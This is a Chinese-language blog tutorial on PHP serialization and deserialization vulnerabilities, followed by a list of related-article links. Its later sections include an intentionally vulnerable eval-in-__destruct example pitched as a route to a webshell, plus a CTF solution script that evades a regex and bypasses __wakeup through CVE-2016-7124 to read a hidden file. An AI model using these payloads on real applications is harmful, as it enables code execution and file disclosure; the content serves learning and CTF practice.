详解php反序列化


Posted in PHP onJune 10, 2020

1  前言

最近也是在复习之前学过的内容,感觉对PHP反序列化的理解更加深了,所以在此总结一下

2  serialize()函数

     “所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”

一开始看这个概念可能有些懵,但之后也是慢慢理解了

在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。

$s = serialize($变量); //该函数将变量数据进行序列化转换为字符串
 file_put_contents(‘./目标文本文件', $s); //将$s保存到指定文件

下面通过一个具体的例子来了解一下序列化:

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.'is'.$this->age.'years old. <br />';
  }
}
//创建一个对象
$user = new User();
// 设置数据
$user->age = 20;
$user->name = 'daye';

//输出数据
$user->PrintData();
//输出序列化之后的数据
echo serialize($user);

?>

这个是结果:

详解php反序列化

可以看到序列化一个对象后将会保存对象的所有变量,并且发现序列化后的结果都有一个字符,这些字符都是以下字母的缩写。

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

了解了缩写的类型字母,便可以得到PHP序列化格式

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

通过以上例子,便可以理解了概念中的通过serialize()函数返回一个包含字节流的字符串这一段话。

3  unserialize()函数

unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。在解序列化一个对象前,这个对象的类必须在解序列化之前定义。 

简单来理解起来就算将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。

$s = file_get_contents(‘./目标文本文件'); //取得文本文件的内容(之前序列化过的字符串)
 $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中

通过一个例子来了解反序列化:

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.' is '.$this->age.' years old. <br />';
  }
}
//重建对象
$user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}');

$user->PrintData();

?>

这个是结果:

详解php反序列化

注意:在解序列化一个对象前,这个对象的类必须在解序列化之前定义。否则会报错

4  PHP反序列化漏洞

在学习漏洞前,先来了解一下PHP魔法函数,对接下来的学习会很有帮助

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法

__construct  当一个对象创建时被调用,
__destruct  当一个对象销毁时被调用,
__toString  当一个对象被当作一个字符串被调用。
__wakeup()  使用unserialize时触发
__sleep()  使用serialize时触发
__destruct()  对象被销毁时触发
__call()  在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发
__get()  用于从不可访问的属性读取数据
__set()  用于将数据写入不可访问的属性
__isset()  在不可访问的属性上调用isset()或empty()触发
__unset()   在不可访问的属性上使用unset()时触发
__toString()  把类当作字符串使用时触发,返回值需要为字符串
__invoke()  当脚本尝试将对象调用为函数时触发

这里只列出了一部分的魔法函数,具体可见

https://www.php.net/manual/zh/language.oop5.magic.php

下面通过一个例子来了解一下魔法函数被自动调用的过程

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array('varr1','varr2');
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); //实例化对象,调用__construct()方法,输出__construct
$obj->echoP();  //调用echoP()方法,输出"abc"
echo $obj;  //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep
echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。
// 脚本结束又会调用__destruct()方法,输出__destruct
?>

这个是结果:

详解php反序列化

通过这个例子就可以清晰的看到魔法函数在符合相应的条件时便会被调用。

5  对象注入

当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。

对象漏洞出现得满足两个前提:

       一、unserialize的参数可控。 

       二、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
下面来举个例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

比如这个列子,直接是用户生成的内容传递给unserialize()函数,那就可以构造这样的语句

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出lemon。

详解php反序列化

发现这个漏洞,便可以利用这个漏洞点控制输入变量,拼接成一个序列化对象。

再看一个例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句
  }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

其实仔细观察就会发现,其实我们手动构造序列化对象就是为了unserialize()函数能够触发__destruc()函数,然后执行在__destruc()函数里恶意的语句。

所以我们利用这个漏洞点便可以获取web shell了

详解php反序列化

6  绕过魔法函数的反序列化

wakeup()魔法函数绕过

PHP5<5.6.25
PHP7<7.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

百度杯——Hash

详解php反序列化

其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php的内容

    (1)绕过正则表达式对变量的检查
    (2)绕过_wakeup()魔法函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php

那么问题就来了,如果绕过正则表达式
(1)/[oc]:\d+:/i,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+,这个正则表达式即匹配不到0:+4:

(2)绕过_wakeup()魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行

编写php序列化脚本

<?php
class Demo {
  private $file = 'Gu3ss_m3_h2h2.php';

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != 'Gu3ss_m3_h2h2.php') {
      //the secret is in the f15g_1s_here.php
      $this->file = 'Gu3ss_m3_h2h2.php';
    }
  }
}
#先创建一个对象,自动调用__construct魔法函数
$obj = new Demo('f15g_1s_here.php');
#进行序列化
$a = serialize($obj);
#使用str_replace() 函数进行替换,来绕过正则表达式的检查
$a = str_replace('O:4:','O:+4:',$a);
#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数
$a = str_replace(':1:',':2:',$a);
#再进行base64编码
echo base64_encode($a);
?>

以上就是详解php反序列化的详细内容,更多关于php反序列化的资料请关注三水点靠木其它相关文章!

PHP 相关文章推荐
mayfish 数据入库验证代码
Apr 30 PHP
CodeIgniter框架数据库事务处理的设计缺陷和解决方案
Jul 25 PHP
PHP内存缓存Memcached类实例
Dec 08 PHP
PHP+MySQL修改记录的方法
Jan 21 PHP
深入理解PHP变量的值类型和引用类型
Oct 21 PHP
ThinkPHP 整合Bootstrap Ajax分页样式
Dec 23 PHP
php实现不通过扩展名准确判断文件类型的方法【finfo_file方法与二进制流】
Apr 18 PHP
PHP实现时间比较和时间差计算的方法示例
Jul 24 PHP
三个思路解决laravel上传文件报错:413 Request Entity Too Large问题
Nov 13 PHP
深入理解 PHP7 中全新的 zval 容器和引用计数机制
Oct 15 PHP
PHP微信网页授权的配置文件操作分析
May 29 PHP
php-7.3.6 编译安装过程
Feb 11 PHP
实例讲解PHP表单
Jun 10 #PHP
如何在PHP中使用数组
Jun 09 #PHP
详解PHP中curl_multi并发的实现
Jun 08 #PHP
THINKPHP5.1 Config的配置与获取详解
Jun 08 #PHP
ThinkPHP5.1验证码功能实现的示例代码
Jun 08 #PHP
php框架CI(codeigniter)自动加载与自主创建对象操作实例分析
Jun 06 #PHP
CI框架简单分页类用法示例
Jun 06 #PHP
You might like
PHP大小写问题:函数名和类名不区分,变量名区分
2013/06/17 PHP
PHP设计模式之适配器模式原理与用法分析
2018/04/25 PHP
你可能不再需要JQUERY
2021/03/09 Javascript
为JavaScript类型增加方法的实现代码(增加功能)
2011/12/29 Javascript
JavaScript中提前声明变量或函数例子
2014/11/12 Javascript
封装好的一个万能检测表单的方法
2015/01/21 Javascript
JavaScript学习笔记之JS对象
2015/01/22 Javascript
JavaScript实现鼠标滑过处生成气泡的方法
2015/05/16 Javascript
简单实现兼容各大浏览器的js复制内容到剪切板
2015/09/09 Javascript
javascript产生随机数方法汇总
2016/01/25 Javascript
GitHub上一些实用的JavaScript的文件压缩解压缩库推荐
2016/03/13 Javascript
AngularJS equal比较对象实例详解
2016/09/14 Javascript
JavaScript 中的12种循环遍历方法【总结】
2018/05/31 Javascript
详解Vue 动态组件与全局事件绑定总结
2018/11/11 Javascript
vue swipe自定义组件实现轮播效果
2019/07/03 Javascript
three.js着色器材质的内置变量示例详解
2020/08/16 Javascript
[01:00]DOTA2 store: Collection of Artisan's Wonders
2015/08/12 DOTA
[04:22]DOTA2上海特级锦标赛主赛事第四日TOP10
2016/03/06 DOTA
[01:13:08]2018DOTA2亚洲邀请赛4.6 淘汰赛 mineski vs LGD 第二场
2018/04/10 DOTA
[07:20]2018DOTA2国际邀请赛寻真——逐梦Mineski
2018/08/10 DOTA
pycharm 使用心得(六)进行简单的数据库管理
2014/06/06 Python
python爬虫获取新浪新闻教学
2018/12/23 Python
Python实现SMTP邮件发送
2020/06/16 Python
python全栈开发语法总结
2020/11/22 Python
python 调整图片亮度的示例
2020/12/03 Python
如何用python批量调整视频声音
2020/12/22 Python
Python 利用argparse模块实现脚本命令行参数解析
2020/12/28 Python
全球性的在线购物网站:Zapals
2017/03/22 全球购物
DC Shoes俄罗斯官网:美国滑板鞋和服饰品牌
2020/08/19 全球购物
美发活动策划书
2014/01/14 职场文书
十佳青年事迹材料
2014/08/21 职场文书
学院党的群众路线教育实践活动第一阶段情况汇报
2014/10/25 职场文书
世界水日宣传活动总结
2015/02/09 职场文书
文明礼貌主题班会
2015/08/14 职场文书
七年级生物教学反思
2016/02/20 职场文书
浅谈MySQL next-key lock 加锁范围
2021/06/07 MySQL